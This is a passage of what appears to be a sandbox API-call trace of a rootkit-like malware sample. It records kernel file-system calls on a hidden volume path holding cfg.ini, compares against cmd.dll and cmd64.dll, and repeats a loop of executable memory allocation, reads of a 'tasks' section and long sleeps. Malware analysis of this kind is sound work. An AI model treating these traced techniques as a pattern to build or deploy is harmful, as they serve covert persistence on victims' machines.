IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.283] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.283] IdePortDispatch () returned 0x103 [0124.285] KeWaitForMutexObject () returned 0x0 [0124.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.285] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.285] IdePortDispatch () returned 0x103 [0124.285] KeWaitForMutexObject () returned 0x0 [0124.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.285] KeLeaveCriticalRegion () [0124.285] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.285] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.285] KeEnterCriticalRegion () [0124.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.286] KeLeaveCriticalRegion () [0124.286] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.286] KeEnterCriticalRegion () [0124.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.286] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.286] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.286] KeLeaveCriticalRegion () [0124.286] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.286] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.286] KeEnterCriticalRegion () [0124.286] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.286] ExFreePoolWithTag (P=0xfffffa8003bf0b10, Tag=0x0) [0124.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.286] KeLeaveCriticalRegion () [0124.286] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.286] ReleaseMutex (hMutex=0xf0) returned 1 [0124.286] Sleep (dwMilliseconds=0x927c0) [0124.300] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.300] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.300] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.300] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.300] KeEnterCriticalRegion () [0124.300] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.300] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.300] IdePortDispatch () returned 0x103 [0124.300] KeWaitForMutexObject () returned 0x0 [0124.300] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.300] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.300] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.300] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.300] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.300] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0b60 [0124.300] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.301] KeLeaveCriticalRegion () [0124.301] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.301] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.301] KeEnterCriticalRegion () [0124.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.301] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.301] KeLeaveCriticalRegion () [0124.301] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.301] KeEnterCriticalRegion () [0124.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.301] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.301] IdePortDispatch () returned 0x103 [0124.301] KeWaitForMutexObject () returned 0x0 [0124.301] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.301] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.301] KeLeaveCriticalRegion () [0124.301] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.301] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.301] KeEnterCriticalRegion () [0124.301] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.301] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352e000 [0124.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.301] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.301] IdePortDispatch () returned 0x103 [0124.302] KeWaitForMutexObject () returned 0x0 [0124.302] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.302] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.302] IdePortDispatch () returned 0x103 [0124.302] KeWaitForMutexObject () returned 0x0 [0124.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.302] KeLeaveCriticalRegion () [0124.302] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.302] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.302] KeEnterCriticalRegion () [0124.302] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.302] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.302] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.302] KeLeaveCriticalRegion () [0124.302] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.303] KeEnterCriticalRegion () [0124.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.303] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.303] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003befe70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.303] KeLeaveCriticalRegion () [0124.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.303] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.303] KeEnterCriticalRegion () [0124.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.303] ExFreePoolWithTag (P=0xfffffa8003bf0b60, Tag=0x0) [0124.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.303] KeLeaveCriticalRegion () [0124.303] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.303] ReleaseMutex (hMutex=0xf0) returned 1 [0124.303] Sleep (dwMilliseconds=0x927c0) [0124.317] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.317] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.317] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.317] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.317] KeEnterCriticalRegion () [0124.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.317] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.317] IdePortDispatch () returned 0x103 [0124.322] KeWaitForMutexObject () returned 0x0 [0124.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.323] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.323] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.323] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.323] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.323] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003befe60 [0124.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.323] KeLeaveCriticalRegion () [0124.323] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.323] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.323] KeEnterCriticalRegion () [0124.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.323] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.323] KeLeaveCriticalRegion () [0124.323] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.323] KeEnterCriticalRegion () [0124.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.323] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.323] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.323] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.323] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.323] IdePortDispatch () returned 0x103 [0124.324] KeWaitForMutexObject () returned 0x0 [0124.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.324] KeLeaveCriticalRegion () [0124.324] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.324] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.324] KeEnterCriticalRegion () [0124.324] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.324] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003533000 [0124.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.324] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.324] IdePortDispatch () returned 0x103 [0124.324] KeWaitForMutexObject () returned 0x0 [0124.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.324] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.324] IdePortDispatch () returned 0x103 [0124.325] KeWaitForMutexObject () returned 0x0 [0124.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.325] KeLeaveCriticalRegion () [0124.325] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.325] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.325] KeEnterCriticalRegion () [0124.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.325] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.325] KeLeaveCriticalRegion () [0124.325] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.325] KeEnterCriticalRegion () [0124.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.325] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.325] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf04b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.326] KeLeaveCriticalRegion () [0124.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.326] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.326] KeEnterCriticalRegion () [0124.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.326] ExFreePoolWithTag (P=0xfffffa8003befe60, Tag=0x0) [0124.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.326] KeLeaveCriticalRegion () [0124.326] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.326] ReleaseMutex (hMutex=0xf0) returned 1 [0124.326] Sleep (dwMilliseconds=0x927c0) [0124.340] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.340] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.340] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.340] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.340] KeEnterCriticalRegion () [0124.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.341] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.341] IdePortDispatch () returned 0x103 [0124.341] KeWaitForMutexObject () returned 0x0 [0124.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.341] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.341] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.341] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.341] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.341] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf03f0 [0124.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.341] KeLeaveCriticalRegion () [0124.341] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.341] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.341] KeEnterCriticalRegion () [0124.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.341] KeLeaveCriticalRegion () [0124.341] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.341] KeEnterCriticalRegion () [0124.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.341] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.341] IdePortDispatch () returned 0x103 [0124.341] KeWaitForMutexObject () returned 0x0 [0124.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.342] KeLeaveCriticalRegion () [0124.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.342] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.342] KeEnterCriticalRegion () [0124.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003538000 [0124.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.342] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.342] IdePortDispatch () returned 0x103 [0124.342] KeWaitForMutexObject () returned 0x0 [0124.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.342] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.342] IdePortDispatch () returned 0x103 [0124.342] KeWaitForMutexObject () returned 0x0 [0124.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.342] KeLeaveCriticalRegion () [0124.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.343] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.343] KeEnterCriticalRegion () [0124.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.343] KeLeaveCriticalRegion () [0124.343] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.343] KeEnterCriticalRegion () [0124.343] 